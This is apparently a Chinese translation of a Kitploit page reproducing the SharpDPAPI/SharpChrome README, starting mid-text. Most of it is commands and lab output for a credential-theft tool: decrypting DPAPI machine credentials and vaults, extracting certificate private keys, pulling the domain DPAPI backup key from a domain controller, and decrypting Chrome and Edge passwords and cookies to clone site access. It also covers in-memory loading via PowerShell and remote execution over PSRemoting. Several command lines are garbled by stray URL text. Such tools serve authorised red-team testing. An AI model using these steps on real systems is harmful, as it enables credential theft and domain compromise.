[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging System Credentials


Folder       : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

  CredFile           : C73A55F92FAE222C18A8989FEA28A1FE

    guidMasterKey    : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
    size             : 544
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      : Local Credential Data

    LastWritten      : 3/24/2019 7:08:43 PM
    TargetName       : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
    TargetAlias      :
    Comment          :
    UserName         : TESTLAB\harmj0y
    Credential       : Password123!


Folder       : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    ...(snip)...

machinevaults

machinevaults 命令会提权到 SYSTEM 以检索 DPAPI_SYSTEM LSA 密码,然后用于解密任何找到的机器 DPAPI 主密钥。这些密钥随后用于解密任何找到的机器保险库。

需要本地管理员权限(以便我们可以检索 DPAPI_SYSTEM LSA 密码)。

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinevaults

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Vault Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging SYSTEM Vaults


[*] Triaging Vault folder: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {0bd732d9-c396-4f9a-a69a-508632c05235}
    size             : 324
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      :
    aes128 key       : 74CE3D7BCC4D0C4734931041F6D00D09
    aes256 key       : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081

...(snip)...

certificates /machine

certificates /machine 命令将使用机器证书存储来查找可解密的机器证书私钥。/mkfile:X 和 {GUID}:masterkey 可与 /target:\[file|folder\] 命令一起使用,否则 SharpDPAPI 会提权到 SYSTEM 以检索 DPAPI_SYSTEM LSA 密码,然后用于解密任何找到的机器 DPAPI 主密钥。这些密钥随后用于解密任何找到的机器系统加密的 DPAPI 私钥证书。

默认情况下,只显示与关联已安装证书可链接的私钥。/showall 命令将显示所有解密的私钥。

需要本地管理员权限(以便我们可以检索 DPAPI_SYSTEM LSA 密码)。

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /machine

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...


[*] Triaging System Certificates


Folder       : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

  File               : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : aa8c9e4849455660fc5fc96589f3e40e
    HMAC             : 9138559ef30fbd70808dca2c1ed02a29
    Unique Name      : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650

    Thumbprint       : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=dev.theshire.local
    Valid Date       : 2/22/2021 3:50:43 PM
    Expiry Date      : 2/22/2022 3:50:43 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Server Authentication (1.3.6.1.5.5.7.3.1)

    [*] Private key file 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----

machinetriage

machinetriage 命令运行用户 machinecredentials、machinevaults 和 certificates /machine 命令。

Misc

ps

ps 命令将描述/解密导出的 PSCredential clixml。必须提供 /target:FILE.xml。

该命令可以 a) 使用传入的任何 "{GUID}:SHA1" 主密钥解密文件,b) 使用包含一个或多个 {GUID}:SHA1 主密钥映射的 /mkfile:FILE,c) 使用提供的 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)首先解密任何用户主密钥(类似 masterkeys),或 d) 使用 /password:X 解密任何用户主密钥,然后这些密钥作为查找解密表使用。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。

/unprotect 标志将使用 CryptUnprotectData() 解密凭证 .xml,无需主密钥,前提是命令在保存密码的用户上下文中运行。这可以在 非特权 上下文中完成,无需接触 LSASS。对于为什么此方法不用于凭据/保险库,请参阅 Benjamin 的 文档。

使用 CryptProtectData() 解密导出的凭证 .xml(/unprotect 标志):

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 11:53:09 AM
    Modified         : 7/25/2019 11:53:09 AM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

使用域 {GUID}:SHA1 主密钥映射:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

使用域 DPAPI 备份密钥首先解密任何可发现的主密钥:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

blob

blob 命令将描述/解密一个 DPAPI blob。必须提供 /target:<BASE64|blob.bin>。

该命令可以 a) 使用传入的任何 "{GUID}:SHA1" 主密钥解密 blob,b) 使用包含一个或多个 {GUID}:SHA1 主密钥映射的 /mkfile:FILE,c) 使用提供的 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)首先解密任何用户主密钥(类似 masterkeys),或 d) 使用 /password:X 解密任何用户主密钥,然后这些密钥作为查找解密表使用。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。

/unprotect 标志将使用 CryptUnprotectData() 解密 blob,无需主密钥,前提是命令在保存密码的用户上下文中运行。这可以在 非特权 上下文中完成,无需接触 LSASS。对于为什么此方法不用于凭据/保险库,请参阅 Benjamin 的 文档。

使用 CryptProtectData() 解密 blob(/unprotect 标志):

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : Password123!

使用域 {GUID}:SHA1 主密钥映射:

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3__                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] 操作: 描述 DPAPI blob

[*] 使用 CryptUnprotectData() 进行解密。

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

使用域 DPAPI 备份密钥首先解密任何可发现的主密钥:

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] 操作: 描述 DPAPI blob

[*] 使用域 DPAPI 备份密钥对主密钥进行分类以获取解密密钥映射!

[*] 用户主密钥缓存:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

backupkey

backupkey 命令将通过 来自 Mimikatz 的 LsaRetrievePrivateData API 方法 从域控制器检索域 DPAPI 备份密钥。此私钥可用于解密域中任何用户的主密钥 blob。更棒的是,该密钥永远不会改变 ;)

需要域管理员(或同等)权限才能从远程域控制器检索密钥。

/nowrap 标志将阻止 base64 密钥在显示时换行。

此 base64 密钥 blob 可以解码为二进制 .pvk 文件,然后可配合 Mimikatz 的 dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk 模块使用,或作为 blob/file /pvk:X 形式与 SharpDPAPI 的 masterkeys、credentials 或 vault 命令一起使用。

默认情况下,SharpDPAPI 会尝试通过 DsGetDcName API 调用确定当前的域控制器。可以通过 /server:COMPUTER.domain.com 指定服务器。如果希望将密钥保存到磁盘而不是输出为 base64 blob,请使用 /file:key.pvk。

检索当前域控制器的 DPAPI 备份密钥:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] 操作: 检索域 DPAPI 备份密钥


[*] 使用当前域控制器  : PRIMARY.testlab.local
[*] 首选备份密钥 Guid         : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] 完整首选备份密钥名称     : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] 密钥 :
          HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...

检索指定 DC 的 DPAPI 备份密钥,并将备份密钥输出到文件:

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] 操作: 检索域 DPAPI 备份密钥


[*] 使用服务器                     : primary.testlab.local
[*] 首选备份密钥 Guid         : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] 完整首选备份密钥名称     : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] 备份密钥已写入            : key.pvk

search

search 命令将搜索注册表、文件、文件夹和 base64 blob 中潜在的 DPAPI blob。用法:``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]

root@kitploit:~
`search`命令通过搜索以下字节来工作,这些字节表示DPAPI blob结构的头部(版本 + DPAPI提供者GUID):```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB

search 命令根据扫描的数据类型具有不同的参数。要指定数据类型,请使用 /type 参数,指定 registry、folder、file 或 base64。如果未提供 /type 参数,则命令默认搜索注册表。

在没有任何其他参数的情况下搜索注册表时,命令会递归搜索 HKEY_LOCAL_MACHINE 和 HKEY_USERS 配置单元。使用 /path 参数指定搜索的根键(例如 /path:HKLM\Software),使用 /showErrors 参数显示枚举期间发生的错误。

搜索文件或文件夹时,使用 /path:C:\Path\to\file\or\folder 指定路径,并可选择使用 /maxBytes:<int> 指定从每个文件读取的字节数(默认:1024 字节)。命令将从文件开头读取字节并搜索 DPAPI blob。使用 /showErrors 显示枚举期间发生的错误。

搜索 base64 blob 时,使用 /base64:<base64 字符串> 参数指定要扫描的 base64 编码字节。

SCCM

如果在一台作为 SCCM 客户端的计算机上拥有提升权限,并且 SCCM 环境配置了网络访问帐户 (NAA),则可以通过 WMI 检索受系统主密钥保护的、包含 NAA 凭据的 DPAPI blob;SCCM 命令将通过 WMI 查询 blob,检索系统主密钥,并解密这些 blob。

SharpChrome 命令

logins

logins 命令将搜索 Chrome 的 'Login Data' 文件并解密保存的登录密码。如果执行环境是非提升权限的,则会自动使用 CryptProtectData() 尝试解密值。如果指定了 /browser:edge,则会处理较新的基于 Chromium 的 Edge 浏览器。

Login Data 文件也可以通过以下方式解密:a) 传递任何 "{GUID}:SHA1 {GUID}:SHA1 ..." 主密钥,b) 使用包含一个或多个 {GUID}:SHA1 主密钥映射的 /mkfile:FILE,c) 提供 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)先解密任何用户主密钥,或者 d) 使用 /password:X 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。

可以使用 /target:FILE 指定特定的 Login Data 文件。如果还提供了 /pvk 或 /password,则可以指定远程 /server:SERVER。如果处理较新的 Chrome/Edge 实例,可以指定 /statekey:X AES 状态密钥。

默认情况下,登录信息以 csv 格式显示。可以使用 /format:table 修改为表格输出。另外,默认只显示非空密码值的条目,但可以使用 /showall 显示所有值。

如果从提升权限的上下文中运行,则会处理所有用户的 Login Data 文件,否则仅处理当前用户的 Login Data 文件。

cookies

cookies 命令将搜索 Chromium 的 'Cookies' 文件并解密 cookie 值。如果执行环境是非提升权限的,则会自动使用 CryptProtectData() 尝试解密值。您可以使用 /browser:<VALUE>(例如 edge、brave、slack)更改目标应用程序。

Cookie 文件也可以通过以下方式解密:a) 传递任何 "{GUID}:SHA1 {GUID}:SHA1 ..." 主密钥,b) 使用包含一个或多个 {GUID}:SHA1 主密钥映射的 /mkfile:FILE,c) 提供 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)先解密任何用户主密钥,或者 d) 使用 /password:X 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。

可以使用 /target:FILE 指定特定的 Cookies 文件。如果还提供了 /pvk 或 /password,则可以指定远程 /server:SERVER。如果处理较新的 Chrome/Edge 实例,可以指定 /statekey:X AES 状态密钥。

默认情况下,cookie 以 csv 格式显示。可以使用 /format:table 修改为表格输出,或使用 /format:json 输出为可由 EditThisCookie 导入的格式。另外,默认只显示未过期的 cookie 值条目,但可以使用 /showall 显示所有值。

如果从提升权限的上下文中运行,则会处理所有用户的 Cookie 文件,否则仅处理当前用户的 Cookie 文件。

cookies 命令还支持 /cookie:REGEX 和 /url:REGEX 参数,仅返回与提供的正则表达式匹配的 cookie 名称或 URL。当与 /format:json 结合使用时,可轻松克隆特定站点的访问权限。

statekeys

默认情况下,statekeys 命令将搜索基于 Chromium 的应用程序(Google Chrome、Edge、Brave 和 Slack),定位其 AES 状态密钥文件(例如 'AppData\Local\Google\Chrome\User Data\Local State' 和 'AppData\Local\Microsoft\Edge\User Data\Local State'),并使用与 cookies 和 logins 类似的参数进行解密。您还可以使用 /target: 参数提供特定状态密钥文件的路径(例如 "/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State")。

状态密钥也可以通过以下方式解密:a) 传递任何 "{GUID}:SHA1 {GUID}:SHA1 ..." 主密钥,b) 使用包含一个或多个 {GUID}:SHA1 主密钥映射的 /mkfile:FILE,c) 提供 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)先解密任何用户主密钥,或者 d) 使用 /password:X 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。

如果从提升权限的上下文中运行,则会处理所有用户的状态密钥,否则仅处理当前用户的状态密钥。

backupkey

backupkey 命令将使用 来自 Mimikatz 的 LsaRetrievePrivateData API 方法从域控制器检索域 DPAPI 备份密钥。此私钥可用于解密域中任何用户的主密钥 blob。更棒的是,该密钥永远不会更改 ;)

需要域管理员(或同等)权限才能从远程域控制器检索密钥。

/nowrap 标志将防止在显示时换行 base64 密钥。

此 base64 密钥 blob 可以解码为二进制 .pvk 文件,然后可与 Mimikatz 的 dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk 模块一起使用,或与 SharpDPAPI 的 masterkeys、credentials 或 vault 命令一起以 blob/文件 /pvk:X 形式使用。

默认情况下,SharpDPAPI 会尝试通过 DsGetDcName API 调用确定当前域控制器。可以使用 /server:COMPUTER.domain.com 指定服务器。如果您希望将密钥保存到磁盘而不是输出为 base64 blob,请使用 /file:key.pvk。

编译说明

我们不打算发布 SharpDPAPI 的二进制文件,因此您需要自行编译 :)

SharpDPAPI 已针对 .NET 3.5 构建,并与 Visual Studio 2019 Community Edition 兼容。只需打开项目 .sln,选择 "Release",然后构建即可。

针对其他 .NET 版本

SharpDPAPI 的默认构建配置针对 .NET 3.5,如果系统未安装该版本,构建将失败。要将 SharpDPAPI 定位到 .NET 4 或 4.5,请打开 .sln 解决方案,转到 Project -> SharpDPAPI Properties,然后将 "Target framework" 更改为其他版本。

旁注:通过 PowerShell 运行 SharpDPAPI

如果您希望通过 PowerShell 包装器在内存中运行 SharpDPAPI,请先编译 SharpDPAPI 并对生成的程序集进行 base64 编码:

root@kitploit:~
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt

然后可以在 PowerShell 脚本中使用以下代码加载 SharpDPAPI(其中 "aa..." 替换为 base64 编码的 SharpDPAPI 程序集字符串):

root@kitploit:~
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

然后可以按如下方式调用 Main() 方法和任何参数:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/master/:Main(%22machinemasterkeys%22)

旁注的旁注:通过 PSRemoting 运行 SharpDPAPI

由于 PSRemoting 处理输出的方式,我们需要将标准输出重定向到字符串并返回该字符串。幸运的是,SharpDPAPI 提供了一个辅助函数。

如果按照 旁注:通过 PowerShell 运行 SharpDPAPI 中的说明创建 SharpDPAPI.ps1,请在脚本末尾附加类似于以下内容的内容:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/master/:MainString(%22machinemasterkeys%22)

然后,您应该能够通过类似以下的方式在 PSRemoting 上运行 SharpDPAPI:

root@kitploit:~
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1

或者,SharpDPAPI 的 /consoleoutfile:C:\FILE.txt 参数会将所有输出流重定向到指定的文件。

下载工具